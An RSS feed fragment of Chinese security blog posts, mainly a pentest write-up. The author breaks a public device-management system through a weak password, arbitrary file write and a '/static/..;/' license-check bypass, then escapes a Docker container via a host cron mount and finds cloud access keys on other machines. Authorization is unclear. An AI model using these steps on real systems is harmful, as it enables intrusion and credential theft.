src="https://wechat2rss.xlab.app/img-proxy/?k=fbb36e00&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div></div></div></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;background-color: rgb(224, 242, 250);height: auto;border-top-left-radius: 18px;border-top-right-radius: 18px;overflow: hidden;padding: 24px;margin: 0px 16px;box-sizing: border-box;"><div style="text-align: justify;font-size: 14px;box-sizing: border-box;"><p style="text-align: center;margin: 0px 0px 8px;white-space: normal;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">结果存储变化</span></strong></p><p style="margin: 0px 0px 2px;padding: 0px;box-sizing: border-box;"><span leaf="">- Date_HighLLMRisk 开头的文件： 已过滤 source + LLM判断&gt;7分 的路径</span></p><p style="margin: 0px 0px 2px;padding: 0px;box-sizing: border-box;"><span leaf="">- Date_LLMDetail.md 文件：大模型结果</span></p><p style="margin: 0px 0px 2px;padding: 0px;box-sizing: border-box;"><span leaf="">- Date_Risk 开头的文件：已过滤 source 的路径</span></p><p style="margin: 0px 0px 2px;padding: 0px;box-sizing: border-box;"><span leaf="">- Date_OtherRisk 开头的文件：未走到 source 的 Sink 结果</span></p><p style="text-align: center;white-space: normal;margin: 8px 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">SINK 方法名支持正则</span></strong></p><p style="text-align: left;margin: 0px 0px 8px;padding: 0px;box-sizing: border-box;"><span leaf="">- rules.json 文件 Sink 方法名支持正则配置。但注意：不支持&#34;()&#34;符号，因为与方法参数支持的()冲突。</span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000811" class="rich_pages wxw-img" data-ratio="0.13425925925925927" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=75ed0a2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zauv2ICwVJZNDE14yJe1l661VdY39WyJ9IBiaF3YU01RSwiaJLxaeehMg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: justify;font-size: 14px;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">ref: </span><span leaf=""><a href="https://github.com/Phelaine/SinkFinder" target="_blank">https://github.com/Phelaine/SinkFinder</a></span><span leaf="">  </span></p></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 0px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(201, 223, 249);border-radius: 107px;overflow: hidden;box-sizing: border-box;"><div style="line-height: 0;text-align: center;margin: 6px 0px;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000810" class="rich_pages wxw-img" data-ratio="0.06018518518518518" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=61138c60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zVpm0xxvtgZxEQCvrhn6kUAQqbyURc6wBJalB6bCyJAxqzUvcX8ZyXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=322f4751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=322f4751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=322f4751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=322f4751&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zXNP4dN7lH3KAtMRxlwVPOtlG9QeZ5QTibseHDObdqwXhtXhadMiaxdmQ%2F640%3Fwx_fmt%3Dgif"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=139871b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zauv2ICwVJZNDE14yJe1l661VdY39WyJ9IBiaF3YU01RSwiaJLxaeehMg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=447edade&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWia0IMFk45pmgFpI8EdKgs8zVpm0xxvtgZxEQCvrhn6kUAQqbyURc6wBJalB6bCyJAxqzUvcX8ZyXA%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484465">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=cb9093d6&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484465%26idx%3D1%26sn%3Dd5b29efa6fb201129fb6d380427bce67">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 01 Jan 2025 23:48:00 +0800</pubDate>
    </item>
    <item>
      <title>渗透测试从“入狱”到“越狱”</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484452&amp;idx=1&amp;sn=16d3185d5a662c0695f5ebc2ec75081b</link>
      <description>记一次黑盒测试打坏目标系统“入狱”到docker逃逸并修复实现“越狱”的日站过程，提醒大家日站需谨慎，不然亲人两行泪～</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2024-12-08 18:59</span> <span style="display: inline-block;">荷兰</span>
</p>

<p>记一次黑盒测试打坏目标系统“入狱”到docker逃逸并修复实现“越狱”的日站过程，提醒大家日站需谨慎，不然亲人两行泪～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=f8217ccc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhOXGvLHvtQtIGHqo6IciaCySHausvqnBDICHiba2kHZicGebzZ3IdVqCVw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;font-size: 16px;color: rgb(62, 62, 62);"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 0px 3px;border-color: rgb(143, 182, 249);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding: 22px;background-color: rgb(241, 246, 255);box-sizing: border-box;"><div style="font-size: 15px;text-align: justify;color: rgb(101, 128, 175);box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">记一次黑盒测试打坏目标系统“入狱”到docker逃逸并修复实现“越狱”的日站过程。提醒大家日站需谨慎，不然亲人两行泪～</span></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px 0px 0px;border-top-color: rgb(62, 62, 62);padding: 0px;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: -13px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 2px;border-left-color: rgb(62, 62, 62);height: auto;padding: 18px 11px 0px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(13, 80, 199);padding: 0px 5px;margin: 0px 6px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 255, 255);font-size: 12px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Part.01</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="text-align: center;box-sizing: border-box;"><span leaf="">起</span></strong></p></div></div></div></div></div></div></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">在测试时某公网系统发现弱口令，登陆上去后发现是一个设备管理类系统。第一时间锁定到一个上传接口，测试发现可以实现任意目录任意文件写。</span></p><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000801" class="rich_pages wxw-img" data-ratio="0.4833333" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=0c31301b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhDN81l5OHvGKNng1yqVNoqkI5PCoNHMBZofw4IQt3pDAukoJicmwbqDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">尝试向其 ssh 目录写 ssh key，写计划任务发现均未成功。</span></p><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">springboot项目，参考前人思路尝试利用懒加载向 JDK 目录写入 charsets.jar ，但并未触发成功，起初无法确定是权限低还是 jdk 目录没写对，后续通过别的功能列目录确认 charsets.jar 写入成功，仍未执行猜测是已经加载过了。</span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000799" class="rich_pages wxw-img" data-ratio="0.4861111" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=6ec4ee24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOh61mZDYWUPicacj9EjS3rYlC9greNPgfKcWeDLaNCCxGoJhNrAjbdWlQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px 0px 0px;border-top-color: rgb(62, 62, 62);padding: 0px;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: -13px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 2px;border-left-color: rgb(62, 62, 62);height: auto;padding: 18px 11px 0px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(13, 80, 199);padding: 0px 5px;margin: 0px 6px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 255, 255);font-size: 12px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Part.02</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="text-align: center;box-sizing: border-box;"><span leaf="">承</span></strong></p></div></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">写文件的点无思路后转向其他功能，发现了任意文件读，列目录等，可惜测试随手试了下lic文件上传的点，传完整个系统所有页面就直接提示lic无效，也就是说手贱一下把别人系统打坏掉了......成功入狱- ^ -。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">发现读文件和列目录以及测lic的过程是同步的，并未先把代码读到本地，事情陷入僵局。此刻漏洞也已经不是最重要的了，想办法恢复lic，让该系统正常运转才是重点。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">扫描目标服务器的其他端口，发现除了22以及目标端口外，并未开放其他服务，爆破ssh未果，重新回到目标服务的测试上，从以往白盒的经验上来看，lic检查和登陆态检查一样，不应该所有路径都限制死，肯定有加白的路径，或者验证方式有问题，那就还有戏。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">经过一顿黑盒 fuzz 方式发现和猜想一致，使用/static/..;/ 可绕过部分接口的lic检查 ，此前读写文件，列目录的接口也在范围内！</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""> </span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">利用之前的点火速下载目标代码 ，验证该代码lic上传处的逻辑也很粗鲁，正常逻辑应该是先校验通过再覆盖原本的lic文件，而这个项目是先覆盖后校验，这也是直接导致系统被打坏的原因。同时也看到校验逻辑处确实通过 startWith 方式判断可导致绕过。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">进一步在代码中看到 License 验证的逻辑：</span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img data-imgfileid="100000798" class="rich_pages wxw-img" data-ratio="0.4935185" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=addcfb91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhH4j7FKplgJ1rn7ndUM3ggaleWPJm6PRCjdoeuRdGFWUeWsL13v1yXQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">在 Filter 中验证 license ，从 license 文件中取得机器码、  mac 地址与本地获取的验证判断。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">license 文件中机器码、mac地址可通过某接口构造出 json 写入，这两个字段的值通过代码里逻辑发现可读固定目录文件获取到。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">那我们已经有目标系统的任意文件读写的接口，有代码，按照校验逻辑反向编写lic生成代码即可，感觉恢复lic在望？</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">但... 实际测试时发现，读机器码：/sys/class/dmi/id/product_serial 文件时</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">apache commons io组件报错：Unexpected read size. current: 37, expected: 4096 。预设的 buffer 缓冲值是 4096，而实际文件长度只读到 37 ，导致读取失败.... 奇怪的bug。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">随后琢磨了这个文件的内容生成的逻辑，有无可能通过别的信息组合算出来等思路，尝试均无果。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px 0px 0px;border-top-color: rgb(62, 62, 62);padding: 0px;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: -13px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 2px;border-left-color: rgb(62, 62, 62);height: auto;padding: 18px 11px 0px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(13, 80, 199);padding: 0px 5px;margin: 0px 6px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 255, 255);font-size: 12px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Part.03</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="text-align: center;box-sizing: border-box;"><span leaf="">转</span></strong></p></div></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">进一步代码分析并未发现其他可以恢复lic的点，将目标重新放回到机器本身，通过列文件的点仔细分析整个系统，期望找到某个会定时运行的脚本之类的功能实现rce。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">重新列项目数据目录时注意到有docker-compose yml 文件，按理构建容器的文件不该出现在容器里面，读取后发现其将物理机的计划任务目录映射到了数据目录的 cron目录下：</span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000802" data-ratio="0.4240741" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ed260d59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhR8x61lPs2TWice8FS4TAjohmFRT0JhlxibpibPHKib24XMIAaEuszjwtMQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">天赐逃逸！</span></p><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;box-sizing: border-box;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000803" data-ratio="0.4777778" data-s="300,640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4a5dabcf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhcj6O90HNfxNwobmsHlhKicn71Fd5YbiaRLia89S7eDqbbHvsfKFWbjRUw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 20px 0px 10px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-style: solid;border-width: 2px 0px 0px;border-top-color: rgb(62, 62, 62);padding: 0px;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: -13px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 2px;border-left-color: rgb(62, 62, 62);height: auto;padding: 18px 11px 0px;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(13, 80, 199);padding: 0px 5px;margin: 0px 6px 0px 0px;box-sizing: border-box;"><div style="text-align: justify;color: rgb(255, 255, 255);font-size: 12px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">Part.</span><strong style="box-sizing: border-box;"><span leaf="">04</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="text-align: center;box-sizing: border-box;"><span leaf="">合</span></strong></p></div></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">写计划任务逃逸到物理机，然后重新进入容器，读取到机器码，按照检验算法构造出 Lic 并恢复了系统正常使用，越狱成功！</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">同样的漏洞还打了另外几台机器，也在其中一台机器的其历史命令中翻到 aksk，发现可控多个 ECS、OSS ，测试过程发生在非工作时间，也未有系统 lic 过期的投诉 ，到此整个过程告一段落。</span></p></div><p style="box-sizing: border-box;"><span leaf="">后续分析了下common io读取product_serial文件失败原因，此类文件是系统自动生成的虚拟文件，在linux系统中默认文件的块大小为4096，但由于没有自动填充与实际大小差异部分的字符串，导致common io获取预期和实际读取的字节数量不一致，进而导致报错。</span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5b1be110&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhDN81l5OHvGKNng1yqVNoqkI5PCoNHMBZofw4IQt3pDAukoJicmwbqDg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a52be1a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOh61mZDYWUPicacj9EjS3rYlC9greNPgfKcWeDLaNCCxGoJhNrAjbdWlQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5a51fcd3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhH4j7FKplgJ1rn7ndUM3ggaleWPJm6PRCjdoeuRdGFWUeWsL13v1yXQ%2F640%3Fwx_fmt%3Djpeg"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=882f5f70&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhR8x61lPs2TWice8FS4TAjohmFRT0JhlxibpibPHKib24XMIAaEuszjwtMQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=585ae8b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYc7xzPDT3amNFI5lHNOOhcj6O90HNfxNwobmsHlhKicn71Fd5YbiaRLia89S7eDqbbHvsfKFWbjRUw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484452">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e9d11b98&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5ODE3NTU1OQ%3D%3D%26mid%3D2247484452%26idx%3D1%26sn%3D16d3185d5a662c0695f5ebc2ec75081b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 08 Dec 2024 18:59:00 +0800</pubDate>
    </item>
    <item>
      <title>SinkFinder  - 版本更新+LLM能力</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5ODE3NTU1OQ==&amp;mid=2247484434&amp;idx=1&amp;sn=53a73fd788799aa73d1b5bf8d884ad50</link>
      <description>集成LLM能力</description>
      <content:encoded><![CDATA[<p>
原创 <span>medi0cr1ty</span> <span>2024-12-01 13:46</span> <span style="display: inline-block;">荷兰</span>
</p>

<p>集成LLM能力</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e133880b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FZiaGB6iaicqkWhYOG6qmsTHl91apZHhAchc2D4erf8VpvlhvAJicI7Eiav133pFfHbZ8GS6Dk1Xc5VBZoNZkk5N9z8w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div style="font-size: 16px;color: rgb(62, 62, 62);"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="text-align: center;"><div style="text-align: justify;color: rgb(100, 100, 100);"><div style="font-size: 16px;color: rgb(62, 62, 62);"><div style="line-height: 0;"><p style="vertical-align: middle;display: inline-block;line-height: 0;"><img class="rich_pages wxw-img" data-imgfileid="100000783" data-ratio="0.8083333333333333" data-s="300,640" style="vertical-align: middle;width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=8fd56a07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FZiaGB6iaicqkWhYOG6qmsTHl91apZHhAchcOzxZYTeAcGuIFRy9U0ImVAPWIxzu6OsZEIV6AFxMDGJQbVdX0ADkSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin-top: 10px;margin-bottom: 10px;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="text-align: center;"><div style="text-align: justify;color: rgb(100, 100, 100);"><p style="text-align: center;"><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;">更新内容</strong></p></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;align-self: center;padding-right: 9px;padding-left: 12px;"><div style="margin-top: 0.5em;margin-bottom: 0.5em;"><p style="background-color: rgb(101, 128, 175);height: 1px;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p></div></div><p style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 auto;height: auto;align-self: center;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></p><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;flex: 0 0 